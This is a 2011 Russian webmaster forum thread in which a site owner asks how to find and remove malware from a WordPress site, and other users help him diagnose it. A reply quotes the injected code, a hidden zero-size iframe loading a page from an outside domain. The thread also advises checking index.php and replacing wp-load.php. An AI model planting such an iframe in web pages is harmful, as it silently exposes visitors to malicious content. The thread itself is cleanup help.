X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Как убрать вредоносный код?
pkirillg
pkirillg
Topic Starter сообщение 5.5.2011, 14:19; Ответить: pkirillg
Сообщение #1


Кто знает как обнаружить вредоносный код на сайте и убрать его пожалуйста отпишите.
вот собственно урл finenews.pp.ua/

p.s. если данные темы существуют то скиньте ссылки на них, но лучше отписать решение здесь.
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
hybrid
hybrid
сообщение 5.5.2011, 14:38; Ответить: hybrid
Сообщение #2


pkirillg, ищите подключение iframe-кода. Возможно подключение где-то в файлах index.php.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
pkirillg
pkirillg
Topic Starter сообщение 5.5.2011, 16:05; Ответить: pkirillg
Сообщение #3


(hybrid @ 5.5.2011, 13:38) *
pkirillg, ищите подключение iframe-кода. Возможно подключение где-то в файлах index.php.

нет его там(
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
bmp104
bmp104
сообщение 5.5.2011, 16:13; Ответить: bmp104
Сообщение #4


Что делает вредоносный код? открывает окно на какой то сайт или просто его яндекс обнаружил?


вот ваш вредоносный код
<iframe src="http://quake2012.ru/in.php?a=QQkFBwQHBAEABQQMEkcJBQcEBwYABQcHDA==" width="0" height="0" frameborder="0"></iframe>


Сообщение отредактировал bmp104 - 5.5.2011, 16:14
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
pkirillg
pkirillg
Topic Starter сообщение 5.5.2011, 16:20; Ответить: pkirillg
Сообщение #5


(bmp104 @ 5.5.2011, 15:13) *
Что делает вредоносный код? открывает окно на какой то сайт или просто его яндекс обнаружил?


вот ваш вредоносный код
<iframe src="http://quake2012.ru/in.php?a=QQkFBwQHBAEABQQMEkcJBQcEBwYABQcHDA==" width="0" height="0" frameborder="0"></iframe>


его гугл обнаружил, при переходе на урл выскакивает красный прямоугольник с рус словами, на сером фоне
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
bmp104
bmp104
сообщение 5.5.2011, 16:23; Ответить: bmp104
Сообщение #6


Может это решит вашу проблему http://forum.searchengines.ru/showpost.php...mp;postcount=18

файл wp-load.php лежит в корне сайта, его посмотрите, если заражен то скачайте дистрибутив с вордпресом возьмите из него этот файл и замените на свой.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
install
install
сообщение 5.5.2011, 16:31; Ответить: install
Сообщение #7


ТС, думаю не обидетесь, дабы не создавать новую тему.

Помогите мне тоже найти где он у меня находится. Перерыл все, сегодня пятый день уже. Кое что нашел, удалил, но яндекс все равно пишет, что сайт заражен.
Заплатки поставлены, раньше нодом проверял, сейчас такое не проканывает.
Сам сайт _muzzona.net двиг ДЛЕ 8.0

Выручайте.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
pkirillg
pkirillg
Topic Starter сообщение 5.5.2011, 16:35; Ответить: pkirillg
Сообщение #8


(bmp104 @ 5.5.2011, 15:23) *
Может это решит вашу проблему http://forum.searchengines.ru/showpost.php...mp;postcount=18

файл wp-load.php лежит в корне сайта, его посмотрите, если заражен то скачайте дистрибутив с вордпресом возьмите из него этот файл и замените на свой.


там тоже нет
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
bmp104
bmp104
сообщение 5.5.2011, 16:37; Ответить: bmp104
Сообщение #9


Помогите мне тоже найти где он у меня находится. Перерыл все, сегодня пятый день уже. Кое что нашел, удалил, но яндекс все равно пишет, что сайт заражен.


Попробуйте всю рекламу удалить, желательно те баннеры sereginsait, вспоминайте какие партнерки устанавливали, иногда яндекс на них ругается когда например отдельное окно открывается при переходе на сайт.

там тоже нет


Ну а в index.php вы этот код видите?
<iframe src="http://quake2012.ru/in.php?a=QQkFBwQHBAEABQQMEkcJBQcEBwYABQcHDA==" width="0" height="0" frameborder="0"></iframe>

он у вас постоянно отображается или через раз появляется? скиньте ваш вп-лоад мне в личку.

Сообщение отредактировал bmp104 - 5.5.2011, 16:38
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
pkirillg
pkirillg
Topic Starter сообщение 5.5.2011, 16:43; Ответить: pkirillg
Сообщение #10


постоянно отображается, скинул
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Большие ставки для кликов в Я.Директ. Как удешевить?
2 rownong27 1126 26.3.2024, 14:13
автор: knezevolk
Открытая тема (нет новых ответов) Как вы бросили работу и перешли на заработок с сайтов?
12 uahomka 2300 25.3.2024, 6:52
автор: Skyworker
Открытая тема (нет новых ответов) Как отозвать банковский платеж фрилансеру?
28 metvekot 3923 25.3.2024, 6:34
автор: Skyworker
Открытая тема (нет новых ответов) Как вывести деньги в Украине с заблокированного Юмани ?
23 freeax 3653 24.3.2024, 20:55
автор: Liudmila
Открытая тема (нет новых ответов) Через какой браузер и как можно найти в кэшэ браузера видео
10 Room 1950 23.3.2024, 7:41
автор: Room


 



RSS Текстовая версия Сейчас: 29.3.2024, 19:42
Дизайн